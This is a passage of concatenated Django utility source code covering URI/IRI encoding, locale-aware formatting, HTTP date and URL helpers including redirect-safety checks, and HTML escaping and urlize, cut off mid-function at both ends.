    #     unreserved  = ALPHA / DIGIT / "-" / "." / "_" / "~"
    # Of the unreserved characters, urllib.quote already considers all but
    # the ~ safe.
    # The % character is also added to the list of safe characters here, as the
    # end of section 3.1 of RFC 3987 specifically mentions that % must not be
    # converted.
    if iri is None:
        return iri
    return quote(force_bytes(iri), safe=b"/#%[]=:;$&()+,!?*@'~")


def uri_to_iri(uri):
    """
    Converts a Uniform Resource Identifier(URI) into an Internationalized
    Resource Identifier(IRI).

    This is the algorithm from section 3.2 of RFC 3987.

    Takes an URI in ASCII bytes (e.g. '/I%20%E2%99%A5%20Django/') and returns
    unicode containing the encoded result (e.g. '/I \xe2\x99\xa5 Django/').
    """
    if uri is None:
        return uri
    uri = force_bytes(uri)
    iri = unquote_to_bytes(uri) if six.PY3 else unquote(uri)
    return repercent_broken_unicode(iri).decode('utf-8')


def escape_uri_path(path):
    """
    Escape the unsafe characters from the path portion of a Uniform Resource
    Identifier (URI).
    """
    # These are the "reserved" and "unreserved" characters specified in
    # sections 2.2 and 2.3 of RFC 2396:
    #   reserved    = ";" | "/" | "?" | ":" | "@" | "&" | "=" | "+" | "$" | ","
    #   unreserved  = alphanum | mark
    #   mark        = "-" | "_" | "." | "!" | "~" | "*" | "'" | "(" | ")"
    # The list of safe characters here is constructed subtracting ";", "=",
    # and "?" according to section 3.3 of RFC 2396.
    # The reason for not subtracting and escaping "/" is that we are escaping
    # the entire path, not a path segment.
    return quote(force_bytes(path), safe=b"/:@&+$,-_.!~*'()")


def repercent_broken_unicode(path):
    """
    As per section 3.2 of RFC 3987, step three of converting a URI into an IRI,
    we need to re-percent-encode any octet produced that is not part of a
    strictly legal UTF-8 octet sequence.
    """
    try:
        path.decode('utf-8')
    except UnicodeDecodeError as e:
        repercent = quote(path[e.start:e.end], safe=b"/#%[]=:;$&()+,!?*@'~")
        path = repercent_broken_unicode(
            path[:e.start] + force_bytes(repercent) + path[e.end:])
    return path


def filepath_to_uri(path):
    """Convert a file system path to a URI portion that is suitable for
    inclusion in a URL.

    We are assuming input is either UTF-8 or unicode already.

    This method will encode certain chars that would normally be recognized as
    special chars for URIs.  Note that this method does not encode the '
    character, as it is a valid character within URIs.  See
    encodeURIComponent() JavaScript function for more details.

    Returns an ASCII string containing the encoded result.
    """
    if path is None:
        return path
    # I know about `os.sep` and `os.altsep` but I want to leave
    # some flexibility for hardcoding separators.
    return quote(force_bytes(path).replace(b"\\", b"/"), safe=b"/~!*()'")


def get_system_encoding():
    """
    The encoding of the default system locale but falls back to the given
    fallback encoding if the encoding is unsupported by python or could
    not be determined.  See tickets #10335 and #5846
    """
    try:
        encoding = locale.getdefaultlocale()[1] or 'ascii'
        codecs.lookup(encoding)
    except Exception:
        encoding = 'ascii'
    return encoding

DEFAULT_LOCALE_ENCODING = get_system_encoding()






import datetime
import decimal
import unicodedata
from importlib import import_module

from django.conf import settings
from django.utils import dateformat, datetime_safe, numberformat, six
from django.utils.encoding import force_str
from django.utils.functional import lazy
from django.utils.safestring import mark_safe
from django.utils.translation import (
    check_for_language, get_language, to_locale,
)

# format_cache is a mapping from (format_type, lang) to the format string.
# By using the cache, it is possible to avoid running get_format_modules
# repeatedly.
_format_cache = {}
_format_modules_cache = {}

ISO_INPUT_FORMATS = {
    'DATE_INPUT_FORMATS': ['%Y-%m-%d'],
    'TIME_INPUT_FORMATS': ['%H:%M:%S', '%H:%M:%S.%f', '%H:%M'],
    'DATETIME_INPUT_FORMATS': [
        '%Y-%m-%d %H:%M:%S',
        '%Y-%m-%d %H:%M:%S.%f',
        '%Y-%m-%d %H:%M',
        '%Y-%m-%d'
    ],
}


FORMAT_SETTINGS = frozenset([
    'DECIMAL_SEPARATOR',
    'THOUSAND_SEPARATOR',
    'NUMBER_GROUPING',
    'FIRST_DAY_OF_WEEK',
    'MONTH_DAY_FORMAT',
    'TIME_FORMAT',
    'DATE_FORMAT',
    'DATETIME_FORMAT',
    'SHORT_DATE_FORMAT',
    'SHORT_DATETIME_FORMAT',
    'YEAR_MONTH_FORMAT',
    'DATE_INPUT_FORMATS',
    'TIME_INPUT_FORMATS',
    'DATETIME_INPUT_FORMATS',
])


def reset_format_cache():
    """Clear any cached formats.

    This method is provided primarily for testing purposes,
    so that the effects of cached formats can be removed.
    """
    global _format_cache, _format_modules_cache
    _format_cache = {}
    _format_modules_cache = {}


def iter_format_modules(lang, format_module_path=None):
    """
    Does the heavy lifting of finding format modules.
    """
    if not check_for_language(lang):
        return

    if format_module_path is None:
        format_module_path = settings.FORMAT_MODULE_PATH

    format_locations = []
    if format_module_path:
        if isinstance(format_module_path, six.string_types):
            format_module_path = [format_module_path]
        for path in format_module_path:
            format_locations.append(path + '.%s')
    format_locations.append('django.conf.locale.%s')
    locale = to_locale(lang)
    locales = [locale]
    if '_' in locale:
        locales.append(locale.split('_')[0])
    for location in format_locations:
        for loc in locales:
            try:
                yield import_module('%s.formats' % (location % loc))
            except ImportError:
                pass


def get_format_modules(lang=None, reverse=False):
    """
    Returns a list of the format modules found
    """
    if lang is None:
        lang = get_language()
    if lang not in _format_modules_cache:
        _format_modules_cache[lang] = list(iter_format_modules(lang, settings.FORMAT_MODULE_PATH))
    modules = _format_modules_cache[lang]
    if reverse:
        return list(reversed(modules))
    return modules


def get_format(format_type, lang=None, use_l10n=None):
    """
    For a specific format type, returns the format for the current
    language (locale), defaults to the format in the settings.
    format_type is the name of the format, e.g. 'DATE_FORMAT'

    If use_l10n is provided and is not None, that will force the value to
    be localized (or not), overriding the value of settings.USE_L10N.
    """
    format_type = force_str(format_type)
    if use_l10n or (use_l10n is None and settings.USE_L10N):
        if lang is None:
            lang = get_language()
        cache_key = (format_type, lang)
        try:
            cached = _format_cache[cache_key]
            if cached is not None:
                return cached
        except KeyError:
            for module in get_format_modules(lang):
                try:
                    val = getattr(module, format_type)
                    for iso_input in ISO_INPUT_FORMATS.get(format_type, ()):
                        if iso_input not in val:
                            if isinstance(val, tuple):
                                val = list(val)
                            val.append(iso_input)
                    _format_cache[cache_key] = val
                    return val
                except AttributeError:
                    pass
            _format_cache[cache_key] = None
    if format_type not in FORMAT_SETTINGS:
        return format_type
    # Return the general setting by default
    return getattr(settings, format_type)

get_format_lazy = lazy(get_format, six.text_type, list, tuple)


def date_format(value, format=None, use_l10n=None):
    """
    Formats a datetime.date or datetime.datetime object using a
    localizable format

    If use_l10n is provided and is not None, that will force the value to
    be localized (or not), overriding the value of settings.USE_L10N.
    """
    return dateformat.format(value, get_format(format or 'DATE_FORMAT', use_l10n=use_l10n))


def time_format(value, format=None, use_l10n=None):
    """
    Formats a datetime.time object using a localizable format

    If use_l10n is provided and is not None, that will force the value to
    be localized (or not), overriding the value of settings.USE_L10N.
    """
    return dateformat.time_format(value, get_format(format or 'TIME_FORMAT', use_l10n=use_l10n))


def number_format(value, decimal_pos=None, use_l10n=None, force_grouping=False):
    """
    Formats a numeric value using localization settings

    If use_l10n is provided and is not None, that will force the value to
    be localized (or not), overriding the value of settings.USE_L10N.
    """
    if use_l10n or (use_l10n is None and settings.USE_L10N):
        lang = get_language()
    else:
        lang = None
    return numberformat.format(
        value,
        get_format('DECIMAL_SEPARATOR', lang, use_l10n=use_l10n),
        decimal_pos,
        get_format('NUMBER_GROUPING', lang, use_l10n=use_l10n),
        get_format('THOUSAND_SEPARATOR', lang, use_l10n=use_l10n),
        force_grouping=force_grouping
    )


def localize(value, use_l10n=None):
    """
    Checks if value is a localizable type (date, number...) and returns it
    formatted as a string using current locale format.

    If use_l10n is provided and is not None, that will force the value to
    be localized (or not), overriding the value of settings.USE_L10N.
    """
    if isinstance(value, six.string_types):  # Handle strings first for performance reasons.
        return value
    elif isinstance(value, bool):  # Make sure booleans don't get treated as numbers
        return mark_safe(six.text_type(value))
    elif isinstance(value, (decimal.Decimal, float) + six.integer_types):
        return number_format(value, use_l10n=use_l10n)
    elif isinstance(value, datetime.datetime):
        return date_format(value, 'DATETIME_FORMAT', use_l10n=use_l10n)
    elif isinstance(value, datetime.date):
        return date_format(value, use_l10n=use_l10n)
    elif isinstance(value, datetime.time):
        return time_format(value, 'TIME_FORMAT', use_l10n=use_l10n)
    return value


def localize_input(value, default=None):
    """
    Checks if an input value is a localizable type and returns it
    formatted with the appropriate formatting string of the current locale.
    """
    if isinstance(value, six.string_types):  # Handle strings first for performance reasons.
        return value
    elif isinstance(value, bool):  # Don't treat booleans as numbers.
        return six.text_type(value)
    elif isinstance(value, (decimal.Decimal, float) + six.integer_types):
        return number_format(value)
    elif isinstance(value, datetime.datetime):
        value = datetime_safe.new_datetime(value)
        format = force_str(default or get_format('DATETIME_INPUT_FORMATS')[0])
        return value.strftime(format)
    elif isinstance(value, datetime.date):
        value = datetime_safe.new_date(value)
        format = force_str(default or get_format('DATE_INPUT_FORMATS')[0])
        return value.strftime(format)
    elif isinstance(value, datetime.time):
        format = force_str(default or get_format('TIME_INPUT_FORMATS')[0])
        return value.strftime(format)
    return value


def sanitize_separators(value):
    """
    Sanitizes a value according to the current decimal and
    thousand separator setting. Used with form field input.
    """
    if settings.USE_L10N and isinstance(value, six.string_types):
        parts = []
        decimal_separator = get_format('DECIMAL_SEPARATOR')
        if decimal_separator in value:
            value, decimals = value.split(decimal_separator, 1)
            parts.append(decimals)
        if settings.USE_THOUSAND_SEPARATOR:
            thousand_sep = get_format('THOUSAND_SEPARATOR')
            if thousand_sep == '.' and value.count('.') == 1 and len(value.split('.')[-1]) != 3:
                # Special case where we suspect a dot meant decimal separator (see #22171)
                pass
            else:
                for replacement in {
                        thousand_sep, unicodedata.normalize('NFKD', thousand_sep)}:
                    value = value.replace(replacement, '')
        parts.append(value)
        value = '.'.join(reversed(parts))
    return value






from __future__ import unicode_literals

import base64
import calendar
import datetime
import re
import sys
import unicodedata
from binascii import Error as BinasciiError
from email.utils import formatdate

from django.core.exceptions import TooManyFieldsSent
from django.utils import six
from django.utils.datastructures import MultiValueDict
from django.utils.encoding import force_bytes, force_str, force_text
from django.utils.functional import keep_lazy_text
from django.utils.six.moves.urllib.parse import (
    quote, quote_plus, unquote, unquote_plus, urlencode as original_urlencode,
    urlparse,
)

ETAG_MATCH = re.compile(r'(?:W/)?"((?:\\.|[^"])*)"')

MONTHS = 'jan feb mar apr may jun jul aug sep oct nov dec'.split()
__D = r'(?P<day>\d{2})'
__D2 = r'(?P<day>[ \d]\d)'
__M = r'(?P<mon>\w{3})'
__Y = r'(?P<year>\d{4})'
__Y2 = r'(?P<year>\d{2})'
__T = r'(?P<hour>\d{2}):(?P<min>\d{2}):(?P<sec>\d{2})'
RFC1123_DATE = re.compile(r'^\w{3}, %s %s %s %s GMT$' % (__D, __M, __Y, __T))
RFC850_DATE = re.compile(r'^\w{6,9}, %s-%s-%s %s GMT$' % (__D, __M, __Y2, __T))
ASCTIME_DATE = re.compile(r'^\w{3} %s %s %s %s$' % (__M, __D2, __T, __Y))

RFC3986_GENDELIMS = str(":/?#[]@")
RFC3986_SUBDELIMS = str("!$&'()*+,;=")

FIELDS_MATCH = re.compile('[&;]')


@keep_lazy_text
def urlquote(url, safe='/'):
    """
    A version of Python's urllib.quote() function that can operate on unicode
    strings. The url is first UTF-8 encoded before quoting. The returned string
    can safely be used as part of an argument to a subsequent iri_to_uri() call
    without double-quoting occurring.
    """
    return force_text(quote(force_str(url), force_str(safe)))


@keep_lazy_text
def urlquote_plus(url, safe=''):
    """
    A version of Python's urllib.quote_plus() function that can operate on
    unicode strings. The url is first UTF-8 encoded before quoting. The
    returned string can safely be used as part of an argument to a subsequent
    iri_to_uri() call without double-quoting occurring.
    """
    return force_text(quote_plus(force_str(url), force_str(safe)))


@keep_lazy_text
def urlunquote(quoted_url):
    """
    A wrapper for Python's urllib.unquote() function that can operate on
    the result of django.utils.http.urlquote().
    """
    return force_text(unquote(force_str(quoted_url)))


@keep_lazy_text
def urlunquote_plus(quoted_url):
    """
    A wrapper for Python's urllib.unquote_plus() function that can operate on
    the result of django.utils.http.urlquote_plus().
    """
    return force_text(unquote_plus(force_str(quoted_url)))


def urlencode(query, doseq=0):
    """
    A version of Python's urllib.urlencode() function that can operate on
    unicode strings. The parameters are first cast to UTF-8 encoded strings and
    then encoded as per normal.
    """
    if isinstance(query, MultiValueDict):
        query = query.lists()
    elif hasattr(query, 'items'):
        query = query.items()
    return original_urlencode(
        [(force_str(k),
         [force_str(i) for i in v] if isinstance(v, (list, tuple)) else force_str(v))
            for k, v in query],
        doseq)


def cookie_date(epoch_seconds=None):
    """
    Formats the time to ensure compatibility with Netscape's cookie standard.

    Accepts a floating point number expressed in seconds since the epoch, in
    UTC - such as that outputted by time.time(). If set to None, defaults to
    the current time.

    Outputs a string in the format 'Wdy, DD-Mon-YYYY HH:MM:SS GMT'.
    """
    rfcdate = formatdate(epoch_seconds)
    return '%s-%s-%s GMT' % (rfcdate[:7], rfcdate[8:11], rfcdate[12:25])


def http_date(epoch_seconds=None):
    """
    Formats the time to match the RFC1123 date format as specified by HTTP
    RFC7231 section 7.1.1.1.

    Accepts a floating point number expressed in seconds since the epoch, in
    UTC - such as that outputted by time.time(). If set to None, defaults to
    the current time.

    Outputs a string in the format 'Wdy, DD Mon YYYY HH:MM:SS GMT'.
    """
    return formatdate(epoch_seconds, usegmt=True)


def parse_http_date(date):
    """
    Parses a date format as specified by HTTP RFC7231 section 7.1.1.1.

    The three formats allowed by the RFC are accepted, even if only the first
    one is still in widespread use.

    Returns an integer expressed in seconds since the epoch, in UTC.
    """
    # emails.Util.parsedate does the job for RFC1123 dates; unfortunately
    # RFC7231 makes it mandatory to support RFC850 dates too. So we roll
    # our own RFC-compliant parsing.
    for regex in RFC1123_DATE, RFC850_DATE, ASCTIME_DATE:
        m = regex.match(date)
        if m is not None:
            break
    else:
        raise ValueError("%r is not in a valid HTTP date format" % date)
    try:
        year = int(m.group('year'))
        if year < 100:
            if year < 70:
                year += 2000
            else:
                year += 1900
        month = MONTHS.index(m.group('mon').lower()) + 1
        day = int(m.group('day'))
        hour = int(m.group('hour'))
        min = int(m.group('min'))
        sec = int(m.group('sec'))
        result = datetime.datetime(year, month, day, hour, min, sec)
        return calendar.timegm(result.utctimetuple())
    except Exception:
        six.reraise(ValueError, ValueError("%r is not a valid date" % date), sys.exc_info()[2])


def parse_http_date_safe(date):
    """
    Same as parse_http_date, but returns None if the input is invalid.
    """
    try:
        return parse_http_date(date)
    except Exception:
        pass


# Base 36 functions: useful for generating compact URLs

def base36_to_int(s):
    """
    Converts a base 36 string to an ``int``. Raises ``ValueError` if the
    input won't fit into an int.
    """
    # To prevent overconsumption of server resources, reject any
    # base36 string that is long than 13 base36 digits (13 digits
    # is sufficient to base36-encode any 64-bit integer)
    if len(s) > 13:
        raise ValueError("Base36 input too large")
    value = int(s, 36)
    # ... then do a final check that the value will fit into an int to avoid
    # returning a long (#15067). The long type was removed in Python 3.
    if six.PY2 and value > sys.maxint:
        raise ValueError("Base36 input too large")
    return value


def int_to_base36(i):
    """
    Converts an integer to a base36 string
    """
    char_set = '0123456789abcdefghijklmnopqrstuvwxyz'
    if i < 0:
        raise ValueError("Negative base36 conversion input.")
    if six.PY2:
        if not isinstance(i, six.integer_types):
            raise TypeError("Non-integer base36 conversion input.")
        if i > sys.maxint:
            raise ValueError("Base36 conversion input too large.")
    if i < 36:
        return char_set[i]
    b36 = ''
    while i != 0:
        i, n = divmod(i, 36)
        b36 = char_set[n] + b36
    return b36


def urlsafe_base64_encode(s):
    """
    Encodes a bytestring in base64 for use in URLs, stripping any trailing
    equal signs.
    """
    return base64.urlsafe_b64encode(s).rstrip(b'\n=')


def urlsafe_base64_decode(s):
    """
    Decodes a base64 encoded string, adding back any trailing equal signs that
    might have been stripped.
    """
    s = force_bytes(s)
    try:
        return base64.urlsafe_b64decode(s.ljust(len(s) + len(s) % 4, b'='))
    except (LookupError, BinasciiError) as e:
        raise ValueError(e)


def parse_etags(etag_str):
    """
    Parses a string with one or several etags passed in If-None-Match and
    If-Match headers by the rules in RFC 2616. Returns a list of etags
    without surrounding double quotes (") and unescaped from \<CHAR>.
    """
    etags = ETAG_MATCH.findall(etag_str)
    if not etags:
        # etag_str has wrong format, treat it as an opaque string then
        return [etag_str]
    etags = [e.encode('ascii').decode('unicode_escape') for e in etags]
    return etags


def quote_etag(etag):
    """
    Wraps a string in double quotes escaping contents as necessary.
    """
    return '"%s"' % etag.replace('\\', '\\\\').replace('"', '\\"')


def unquote_etag(etag):
    """
    Unquote an ETag string; i.e. revert quote_etag().
    """
    return etag.strip('"').replace('\\"', '"').replace('\\\\', '\\') if etag else etag


def is_same_domain(host, pattern):
    """
    Return ``True`` if the host is either an exact match or a match
    to the wildcard pattern.

    Any pattern beginning with a period matches a domain and all of its
    subdomains. (e.g. ``.example.com`` matches ``example.com`` and
    ``foo.example.com``). Anything else is an exact string match.
    """
    if not pattern:
        return False

    pattern = pattern.lower()
    return (
        pattern[0] == '.' and (host.endswith(pattern) or host == pattern[1:]) or
        pattern == host
    )


def is_safe_url(url, host=None, require_https=False):
    """
    Return ``True`` if the url is a safe redirection (i.e. it doesn't point to
    a different host and uses a safe scheme).

    Always returns ``False`` on an empty url.

    If ``require_https`` is ``True``, only 'https' will be considered a valid
    scheme, as opposed to 'http' and 'https' with the default, ``False``.
    """
    if url is not None:
        url = url.strip()
    if not url:
        return False
    if six.PY2:
        try:
            url = force_text(url)
        except UnicodeDecodeError:
            return False
    # Chrome treats \ completely as / in paths but it could be part of some
    # basic auth credentials so we need to check both URLs.
    return (_is_safe_url(url, host, require_https=require_https) and
            _is_safe_url(url.replace('\\', '/'), host, require_https=require_https))


def _is_safe_url(url, host, require_https=False):
    # Chrome considers any URL with more than two slashes to be absolute, but
    # urlparse is not so flexible. Treat any url with three slashes as unsafe.
    if url.startswith('///'):
        return False
    url_info = urlparse(url)
    # Forbid URLs like http:///example.com - with a scheme, but without a hostname.
    # In that URL, example.com is not the hostname but, a path component. However,
    # Chrome will still consider example.com to be the hostname, so we must not
    # allow this syntax.
    if not url_info.netloc and url_info.scheme:
        return False
    # Forbid URLs that start with control characters. Some browsers (like
    # Chrome) ignore quite a few control characters at the start of a
    # URL and might consider the URL as scheme relative.
    if unicodedata.category(url[0])[0] == 'C':
        return False
    scheme = url_info.scheme
    # Consider URLs without a scheme (e.g. //example.com/p) to be http.
    if not url_info.scheme and url_info.netloc:
        scheme = 'http'
    valid_schemes = ['https'] if require_https else ['http', 'https']
    return ((not url_info.netloc or url_info.netloc == host) and
            (not scheme or scheme in valid_schemes))


def limited_parse_qsl(qs, keep_blank_values=False, encoding='utf-8',
                      errors='replace', fields_limit=None):
    """
    Return a list of key/value tuples parsed from query string.

    Copied from urlparse with an additional "fields_limit" argument.
    Copyright (C) 2013 Python Software Foundation (see LICENSE.python).

    Arguments:

    qs: percent-encoded query string to be parsed

    keep_blank_values: flag indicating whether blank values in
        percent-encoded queries should be treated as blank strings. A
        true value indicates that blanks should be retained as blank
        strings. The default false value indicates that blank values
        are to be ignored and treated as if they were  not included.

    encoding and errors: specify how to decode percent-encoded sequences
        into Unicode characters, as accepted by the bytes.decode() method.

    fields_limit: maximum number of fields parsed or an exception
        is raised. None means no limit and is the default.
    """
    if fields_limit:
        pairs = FIELDS_MATCH.split(qs, fields_limit)
        if len(pairs) > fields_limit:
            raise TooManyFieldsSent(
                'The number of GET/POST parameters exceeded '
                'settings.DATA_UPLOAD_MAX_NUMBER_FIELDS.'
            )
    else:
        pairs = FIELDS_MATCH.split(qs)
    r = []
    for name_value in pairs:
        if not name_value:
            continue
        nv = name_value.split(str('='), 1)
        if len(nv) != 2:
            # Handle case of a control-name with no equal sign
            if keep_blank_values:
                nv.append('')
            else:
                continue
        if len(nv[1]) or keep_blank_values:
            if six.PY3:
                name = nv[0].replace('+', ' ')
                name = unquote(name, encoding=encoding, errors=errors)
                value = nv[1].replace('+', ' ')
                value = unquote(value, encoding=encoding, errors=errors)
            else:
                name = unquote(nv[0].replace(b'+', b' '))
                value = unquote(nv[1].replace(b'+', b' '))
            r.append((name, value))
    return r






"""HTML utilities suitable for global use."""

from __future__ import unicode_literals

import re

from django.utils import six
from django.utils.encoding import force_str, force_text
from django.utils.functional import keep_lazy, keep_lazy_text
from django.utils.http import RFC3986_GENDELIMS, RFC3986_SUBDELIMS
from django.utils.safestring import SafeData, SafeText, mark_safe
from django.utils.six.moves.urllib.parse import (
    parse_qsl, quote, unquote, urlencode, urlsplit, urlunsplit,
)
from django.utils.text import normalize_newlines

from .html_parser import HTMLParseError, HTMLParser

# Configuration for urlize() function.
TRAILING_PUNCTUATION_RE = re.compile(
    '^'           # Beginning of word
    '(.*?)'       # The URL in word
    '([.,:;!]+)'  # Allowed non-wrapping, trailing punctuation
    '$'           # End of word
)
WRAPPING_PUNCTUATION = [('(', ')'), ('<', '>'), ('[', ']'), ('&lt;', '&gt;'), ('"', '"'), ('\'', '\'')]

# List of possible strings used for bullets in bulleted lists.
DOTS = ['&middot;', '*', '\u2022', '&#149;', '&bull;', '&#8226;']

unencoded_ampersands_re = re.compile(r'&(?!(\w+|#\d+);)')
word_split_re = re.compile(r'''([\s<>"']+)''')
simple_url_re = re.compile(r'^https?://\[?\w', re.IGNORECASE)
simple_url_2_re = re.compile(r'^www\.|^(?!http)\w[^@]+\.(com|edu|gov|int|mil|net|org)($|/.*)$', re.IGNORECASE)
simple_email_re = re.compile(r'^\S+@\S+\.\S+$')
link_target_attribute_re = re.compile(r'(<a [^>]*?)target=[^\s>]+')
html_gunk_re = re.compile(
    r'(?:<br clear="all">|<i><\/i>|<b><\/b>|<em><\/em>|<strong><\/strong>|'
    '<\/?smallcaps>|<\/?uppercase>)', re.IGNORECASE)
hard_coded_bullets_re = re.compile(
    r'((?:<p>(?:%s).*?[a-zA-Z].*?</p>\s*)+)' % '|'.join(re.escape(x) for x in DOTS), re.DOTALL
)
trailing_empty_content_re = re.compile(r'(?:<p>(?:&nbsp;|\s|<br \/>)*?</p>\s*)+\Z')


@keep_lazy(six.text_type, SafeText)
def escape(text):
    """
    Returns the given text with ampersands, quotes and angle brackets encoded
    for use in HTML.

    This function always escapes its input, even if it's already escaped and
    marked as such. This may result in double-escaping. If this is a concern,
    use conditional_escape() instead.
    """
    return mark_safe(
        force_text(text).replace('&', '&amp;').replace('<', '&lt;')
        .replace('>', '&gt;').replace('"', '&quot;').replace("'", '&#39;')
    )

_js_escapes = {
    ord('\\'): '\\u005C',
    ord('\''): '\\u0027',
    ord('"'): '\\u0022',
    ord('>'): '\\u003E',
    ord('<'): '\\u003C',
    ord('&'): '\\u0026',
    ord('='): '\\u003D',
    ord('-'): '\\u002D',
    ord(';'): '\\u003B',
    ord('\u2028'): '\\u2028',
    ord('\u2029'): '\\u2029'
}

# Escape every ASCII character with a value less than 32.
_js_escapes.update((ord('%c' % z), '\\u%04X' % z) for z in range(32))


@keep_lazy(six.text_type, SafeText)
def escapejs(value):
    """Hex encodes characters for use in JavaScript strings."""
    return mark_safe(force_text(value).translate(_js_escapes))


def conditional_escape(text):
    """
    Similar to escape(), except that it doesn't operate on pre-escaped strings.

    This function relies on the __html__ convention used both by Django's
    SafeData class and by third-party libraries like markupsafe.
    """
    if hasattr(text, '__html__'):
        return text.__html__()
    else:
        return escape(text)


def format_html(format_string, *args, **kwargs):
    """
    Similar to str.format, but passes all arguments through conditional_escape,
    and calls 'mark_safe' on the result. This function should be used instead
    of str.format or % interpolation to build up small HTML fragments.
    """
    args_safe = map(conditional_escape, args)
    kwargs_safe = {k: conditional_escape(v) for (k, v) in six.iteritems(kwargs)}
    return mark_safe(format_string.format(*args_safe, **kwargs_safe))


def format_html_join(sep, format_string, args_generator):
    """
    A wrapper of format_html, for the common case of a group of arguments that
    need to be formatted using the same format string, and then joined using
    'sep'. 'sep' is also passed through conditional_escape.

    'args_generator' should be an iterator that returns the sequence of 'args'
    that will be passed to format_html.

    Example:

      format_html_join('\n', "<li>{} {}</li>", ((u.first_name, u.last_name)
                                                  for u in users))
    """
    return mark_safe(conditional_escape(sep).join(
        format_html(format_string, *tuple(args))
        for args in args_generator))


@keep_lazy_text
def linebreaks(value, autoescape=False):
    """Converts newlines into <p> and <br />s."""
    value = normalize_newlines(force_text(value))
    paras = re.split('\n{2,}', value)
    if autoescape:
        paras = ['<p>%s</p>' % escape(p).replace('\n', '<br />') for p in paras]
    else:
        paras = ['<p>%s</p>' % p.replace('\n', '<br />') for p in paras]
    return '\n\n'.join(paras)


class MLStripper(HTMLParser):
    def __init__(self):
        HTMLParser.__init__(self)
        self.reset()
        self.fed = []

    def handle_data(self, d):
        self.fed.append(d)

    def handle_entityref(self, name):
        self.fed.append('&%s;' % name)

    def handle_charref(self, name):
        self.fed.append('&#%s;' % name)

    def get_data(self):
        return ''.join(self.fed)


def _strip_once(value):
    """
    Internal tag stripping utility used by strip_tags.
    """
    s = MLStripper()
    try:
        s.feed(value)
    except HTMLParseError:
        return value
    try:
        s.close()
    except HTMLParseError:
        return s.get_data() + s.rawdata
    else:
        return s.get_data()


@keep_lazy_text
def strip_tags(value):
    """Returns the given HTML with all tags stripped."""
    # Note: in typical case this loop executes _strip_once once. Loop condition
    # is redundant, but helps to reduce number of executions of _strip_once.
    value = force_text(value)
    while '<' in value and '>' in value:
        new_value = _strip_once(value)
        if len(new_value) >= len(value):
            # _strip_once was not able to detect more tags or length increased
            # due to http://bugs.python.org/issue20288
            # (affects Python 2 < 2.7.7 and Python 3 < 3.3.5)
            break
        value = new_value
    return value


@keep_lazy_text
def strip_spaces_between_tags(value):
    """Returns the given HTML with spaces between tags removed."""
    return re.sub(r'>\s+<', '><', force_text(value))


def smart_urlquote(url):
    "Quotes a URL if it isn't already quoted."
    def unquote_quote(segment):
        segment = unquote(force_str(segment))
        # Tilde is part of RFC3986 Unreserved Characters
        # http://tools.ietf.org/html/rfc3986#section-2.3
        # See also http://bugs.python.org/issue16285
        segment = quote(segment, safe=RFC3986_SUBDELIMS + RFC3986_GENDELIMS + str('~'))
        return force_text(segment)

    # Handle IDN before quoting.
    try:
        scheme, netloc, path, query, fragment = urlsplit(url)
    except ValueError:
        # invalid IPv6 URL (normally square brackets in hostname part).
        return unquote_quote(url)

    try:
        netloc = netloc.encode('idna').decode('ascii')  # IDN -> ACE
    except UnicodeError:  # invalid domain part
        return unquote_quote(url)

    if query:
        # Separately unquoting key/value, so as to not mix querystring separators
        # included in query values. See #22267.
        query_parts = [(unquote(force_str(q[0])), unquote(force_str(q[1])))
                       for q in parse_qsl(query, keep_blank_values=True)]
        # urlencode will take care of quoting
        query = urlencode(query_parts)

    path = unquote_quote(path)
    fragment = unquote_quote(fragment)

    return urlunsplit((scheme, netloc, path, query, fragment))


@keep_lazy_text
def urlize(text, trim_url_limit=None, nofollow=False, autoescape=False):
    """
    Converts any URLs in text into clickable links.

    Works on http://, https://, www. links, and also on links ending in one of
    the original seven gTLDs (.com, .edu, .gov, .int, .mil, .net, and .org).
    Links can have trailing punctuation (periods, commas, close-parens) and
    leading punctuation (opening parens) and it'll still do the right thing.

    If trim_url_limit is not None, the URLs in the link text longer than this
    limit will be truncated to trim_url_limit-3 characters and appended with
    an ellipsis.

    If nofollow is True, the links will get a rel="nofollow" attribute.

    If autoescape is True, the link text and URLs will be autoescaped.
    """
    safe_input = isinstance(text, SafeData)

    def trim_url(x, limit=trim_url_limit):
        if limit is None or len(x) <= limit:
            return x
        return '%s...' % x[:max(0, limit - 3)]

    def unescape(text, trail):
        """
        If input URL is HTML-escaped, unescape it so as we can safely feed it to
        smart_urlquote. For example:
        http://example.com?x=1&amp;y=&lt;2&gt; => http://example.com?x=1&y=<2>
        """
        unescaped = (text + trail).replace(
            '&amp;', '&').replace('&lt;', '<').replace(
            '&gt;', '>').replace('&quot;', '"').replace('&#39;', "'")
        if trail and unescaped.endswith(trail):
            # Remove trail for unescaped if it was not consumed by unescape
            unescaped = unescaped[:-len(trail)]
        elif trail == ';':
            # Trail was consumed by unescape (as end-of-entity marker), move it to text
            text += trail
            trail = ''
        return text, unescaped, trail

    def trim_punctuation(lead, middle, trail):
        """
        Trim trailing and wrapping punctuation from `middle`. Return the items
        of the new state.
        """
        # Continue trimming until middle remains unchanged.
        trimmed_something = True
        while trimmed_something:
            trimmed_something = False

            # Trim trailing punctuation.
            match = TRAILING_PUNCTUATION_RE.match(middle)
            if match:
                middle = match.group(1)
                trail = match.group(2) + trail
                trimmed_something = True

            # Trim wrapping punctuation.
            for opening, closing in WRAPPING_PUNCTUATION:
                if middle.startswith(opening):
                    middle = middle[len(opening):]
                    lead += opening
                    trimmed_something = True
                # Keep parentheses at the end only if they're balanced.
                if (middle.endswith(closing) and
                        middle.count(closing) == middle.count(opening) + 1):
                    middle = middle[:-len(closing)]
                    trail = closing + trail
                    trimmed_something = True
        return lead, middle, trail

    words = word_split_re.split(force_text(text))
    for i, word in enumerate(words):
        if '.' in word or '@' in word or ':' in word:
            # lead: Current punctuation trimmed from the beginning of the word.
            # middle: Current state of the word.
            # trail: Current punctuation trimmed from the end of the word.
            lead, middle, trail = '', word, ''
            # Deal with punctuation.
            lead, middle, trail = trim_punctuation(lead, middle, trail)

            # Make URL we want to point to.
            url = None
            nofollow_attr = ' rel="nofollow"' if nofollow else ''
            if simple_url_re.match(middle):
                middle, middle_unescaped, trail = unescape(middle, trail)
                url = smart_urlquote(middle_unescaped)
            elif simple_url_2_re.match(middle):
                middle, middle_unescaped, trail = unescape(middle, trail)
                url = smart_urlquote('http://%s' % middle_unescaped)
            elif ':' not in middle and simple_email_re.match(middle):
                local, domain = middle.rsplit('@', 1)
                try:
                    domain = domain.encode('idna').decode('ascii')
                except UnicodeError:
                    continue
                url = 'mailto:%s@%s' % (local, domain)
                nofollow_attr = ''

            # Make link.
            if url:
                trimmed = trim_url(middle)
